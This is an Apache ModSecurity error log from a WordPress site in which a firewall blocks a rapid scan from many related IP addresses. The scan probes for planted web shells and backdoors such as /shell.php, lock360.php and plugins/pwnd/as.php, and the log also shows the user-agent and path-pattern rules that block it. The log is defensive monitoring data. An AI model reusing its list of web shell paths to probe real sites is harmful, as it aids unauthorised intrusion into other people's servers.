[Tue Mar 24 01:48:47.952387 2026] [:error] [pid 56236:tid 56313] [client 194.5.82.95:57817] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/elementor/"] [unique_id "acF8_3apFgYp0uZ8twAsrQAAAFQ"]
[Tue Mar 24 01:48:48.132806 2026] [:error] [pid 56435:tid 56523] [client 194.5.82.68:48579] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "acF9AMrwr-l5A-s9ryCQPwAAARY"]
[Tue Mar 24 01:48:48.312007 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.82:61253] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/"] [unique_id "acF9AMrwr-l5A-s9ryCQQQAAAQ4"]
[Tue Mar 24 01:48:48.495058 2026] [:error] [pid 56435:tid 56511] [client 194.5.82.74:20857] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "acF9AMrwr-l5A-s9ryCQQwAAAQs"]
[Tue Mar 24 01:48:48.676727 2026] [:error] [pid 56435:tid 56502] [client 194.5.82.58:38011] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "acF9AMrwr-l5A-s9ryCQRQAAAQM"]
[Tue Mar 24 01:48:48.861031 2026] [:error] [pid 56435:tid 56505] [client 194.5.82.78:52481] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/"] [unique_id "acF9AMrwr-l5A-s9ryCQRwAAAQY"]
[Tue Mar 24 01:48:49.043416 2026] [:error] [pid 56435:tid 56519] [client 194.5.82.93:45845] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "acF9Acrwr-l5A-s9ryCQSgAAARI"]
[Tue Mar 24 01:48:49.224557 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.97:40705] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "acF9Acrwr-l5A-s9ryCQTAAAAQ4"]
[Tue Mar 24 01:48:49.402913 2026] [:error] [pid 56435:tid 56511] [client 194.5.82.103:54381] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "acF9Acrwr-l5A-s9ryCQUAAAAQs"]
[Tue Mar 24 01:48:49.584022 2026] [:error] [pid 56435:tid 56517] [client 194.5.82.77:33107] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/colors/"] [unique_id "acF9Acrwr-l5A-s9ryCQUgAAARA"]
[Tue Mar 24 01:48:49.765601 2026] [:error] [pid 31798:tid 31813] [client 194.5.82.76:52229] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/block-bindings/"] [unique_id "acF9AXdtW_1bksndFbY5lQAAAA0"]
[Tue Mar 24 01:48:49.950542 2026] [:error] [pid 56435:tid 56499] [client 194.5.82.78:54883] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content.php"] [unique_id "acF9Acrwr-l5A-s9ryCQVQAAAQA"]
[Tue Mar 24 01:48:50.130498 2026] [:error] [pid 56237:tid 56335] [client 194.5.82.60:55387] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-domain.php"] [unique_id "acF9AgymO0MnzQb90MMzDQAAAI4"]
[Tue Mar 24 01:48:50.310320 2026] [:error] [pid 56238:tid 56351] [client 194.5.82.74:26295] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "acF9AlSqceFAZRgPDq6uxQAAAMM"]
[Tue Mar 24 01:48:50.558247 2026] [:error] [pid 56237:tid 56342] [client 194.5.82.58:28953] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/"] [unique_id "acF9AgymO0MnzQb90MMzDgAAAJU"]
[Tue Mar 24 01:48:50.740761 2026] [:error] [pid 56237:tid 56341] [client 194.5.82.88:24259] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/lock360.php"] [unique_id "acF9AgymO0MnzQb90MMzEAAAAJQ"]
[Tue Mar 24 01:48:50.920785 2026] [:error] [pid 56238:tid 56370] [client 194.5.82.69:46405] [client 194.5.82.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/fonts/"] [unique_id "acF9AlSqceFAZRgPDq6uxgAAANY"]
[Tue Mar 24 01:48:51.099149 2026] [:error] [pid 56435:tid 56520] [client 194.5.82.79:33929] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "acF9A8rwr-l5A-s9ryCQWgAAARM"]
[Tue Mar 24 01:48:51.280162 2026] [:error] [pid 56236:tid 56315] [client 194.5.82.54:60893] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acF9A3apFgYp0uZ8twAsrwAAAFY"]
[Tue Mar 24 01:48:51.461037 2026] [:error] [pid 56238:tid 56349] [client 194.5.82.64:51461] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/network/"] [unique_id "acF9A1SqceFAZRgPDq6uyAAAAME"]
[Tue Mar 24 01:48:51.654670 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.82:28001] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "acF9A3dtW_1bksndFbY5mQAAABU"]
[Tue Mar 24 01:48:51.833607 2026] [:error] [pid 56238:tid 56353] [client 194.5.82.76:47299] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "acF9A1SqceFAZRgPDq6uygAAAMU"]
[Tue Mar 24 01:48:52.013814 2026] [:error] [pid 56238:tid 56361] [client 194.5.82.83:63249] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/reception1/includes/tcpdf/examples/config/"] [unique_id "acF9BFSqceFAZRgPDq6uzAAAAM0"]
[Tue Mar 24 01:48:52.192372 2026] [:error] [pid 56435:tid 56525] [client 194.5.82.87:20249] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-signin.php"] [unique_id "acF9BMrwr-l5A-s9ryCQXAAAARg"]
[Tue Mar 24 01:48:52.372691 2026] [:error] [pid 56435:tid 56517] [client 194.5.82.89:55439] [client 194.5.82.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "acF9BMrwr-l5A-s9ryCQXQAAARA"]
[Tue Mar 24 01:48:52.560526 2026] [:error] [pid 56435:tid 56509] [client 194.5.82.93:52327] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "acF9BMrwr-l5A-s9ryCQXwAAAQk"]
[Tue Mar 24 01:48:52.740417 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.55:43903] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "acF9BMrwr-l5A-s9ryCQYQAAARQ"]
[Tue Mar 24 01:48:52.921425 2026] [:error] [pid 56238:tid 56369] [client 194.5.82.103:44761] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wpforms/"] [unique_id "acF9BFSqceFAZRgPDq6uzwAAANU"]
[Tue Mar 24 01:48:53.113919 2026] [:error] [pid 56238:tid 56370] [client 194.5.82.67:40675] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/page-list/"] [unique_id "acF9BVSqceFAZRgPDq6u0QAAANY"]
[Tue Mar 24 01:48:53.294933 2026] [:error] [pid 56238:tid 56366] [client 194.5.82.92:54143] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/"] [unique_id "acF9BVSqceFAZRgPDq6u1QAAANI"]
[Tue Mar 24 01:48:53.474378 2026] [:error] [pid 56435:tid 56500] [client 194.5.82.76:39911] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "acF9Bcrwr-l5A-s9ryCQYgAAAQE"]
[Tue Mar 24 01:48:53.696721 2026] [:error] [pid 56237:tid 56343] [client 194.5.82.95:46925] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/admin.php"] [unique_id "acF9BQymO0MnzQb90MMzEwAAAJY"]
[Tue Mar 24 01:48:53.877447 2026] [:error] [pid 56435:tid 56520] [client 194.5.82.58:51301] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "acF9Bcrwr-l5A-s9ryCQZQAAARM"]
[Tue Mar 24 01:48:54.059058 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.95:63329] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "acF9BnapFgYp0uZ8twAssQAAAFE"]
[Tue Mar 24 01:48:54.239418 2026] [:error] [pid 56237:tid 56324] [client 194.5.82.80:54235] [client 194.5.82.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "acF9BgymO0MnzQb90MMzFAAAAIM"]
[Tue Mar 24 01:48:54.419862 2026] [:error] [pid 31798:tid 31812] [client 194.5.82.90:63033] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/"] [unique_id "acF9BndtW_1bksndFbY5mgAAAAw"]
[Tue Mar 24 01:48:54.611147 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.96:59961] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/"] [unique_id "acF9BndtW_1bksndFbY5mwAAAAQ"]
[Tue Mar 24 01:48:54.792352 2026] [:error] [pid 56237:tid 56337] [client 194.5.82.72:63311] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "acF9BgymO0MnzQb90MMzFgAAAJA"]
[Tue Mar 24 01:48:54.972220 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.67:26663] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/providers/"] [unique_id "acF9BndtW_1bksndFbY5nwAAAAM"]
[Tue Mar 24 01:48:55.154123 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.76:23259] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/"] [unique_id "acF9B3dtW_1bksndFbY5oAAAABE"]
[Tue Mar 24 01:48:55.338136 2026] [:error] [pid 56435:tid 56524] [client 194.5.82.76:29789] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/commands/"] [unique_id "acF9B8rwr-l5A-s9ryCQagAAARc"]
[Tue Mar 24 01:48:55.518481 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.76:47649] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/query-title/"] [unique_id "acF9B3dtW_1bksndFbY5ogAAABM"]
[Tue Mar 24 01:48:55.700897 2026] [:error] [pid 56237:tid 56331] [client 194.5.82.84:52377] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "acF9BwymO0MnzQb90MMzGAAAAIo"]
[Tue Mar 24 01:48:55.881499 2026] [:error] [pid 56237:tid 56341] [client 194.5.82.57:46931] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/separator/"] [unique_id "acF9BwymO0MnzQb90MMzGQAAAJQ"]
[Tue Mar 24 01:48:56.061752 2026] [:error] [pid 56238:tid 56362] [client 194.5.82.57:36007] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-includes/blocks/accordion/"] [unique_id "acF9CFSqceFAZRgPDq6u2wAAAM4"]
[Tue Mar 24 01:48:56.241158 2026] [:error] [pid 56238:tid 56352] [client 194.5.82.91:46273] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "acF9CFSqceFAZRgPDq6u3AAAAMQ"]
[Tue Mar 24 01:48:56.422512 2026] [:error] [pid 56238:tid 56348] [client 194.5.82.96:27453] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acF9CFSqceFAZRgPDq6u3QAAAMA"]
[Tue Mar 24 01:48:56.603696 2026] [:error] [pid 31798:tid 31814] [client 194.5.82.87:62143] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/search/images/"] [unique_id "acF9CHdtW_1bksndFbY5owAAAA4"]
[Tue Mar 24 01:48:56.783762 2026] [:error] [pid 56238:tid 56351] [client 194.5.82.84:54353] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "acF9CFSqceFAZRgPDq6u3wAAAMM"]
[Tue Mar 24 01:48:56.965167 2026] [:error] [pid 56435:tid 56505] [client 194.5.82.98:57357] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/freeform/"] [unique_id "acF9CMrwr-l5A-s9ryCQdQAAAQY"]
[Tue Mar 24 01:48:57.151829 2026] [:error] [pid 56237:tid 56343] [client 194.5.82.60:59485] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acF9CQymO0MnzQb90MMzHQAAAJY"]
[Tue Mar 24 01:48:57.339272 2026] [:error] [pid 56237:tid 56324] [client 194.5.82.92:24983] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "acF9CQymO0MnzQb90MMzHgAAAIM"]
[Tue Mar 24 01:48:57.520723 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.72:58975] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acF9Ccrwr-l5A-s9ryCQewAAAQc"]
[Tue Mar 24 01:48:57.701691 2026] [:error] [pid 31798:tid 31812] [client 194.5.82.102:34561] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "acF9CXdtW_1bksndFbY5pQAAAAw"]
[Tue Mar 24 01:48:57.883304 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.104:32975] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "acF9CXdtW_1bksndFbY5pwAAAAQ"]
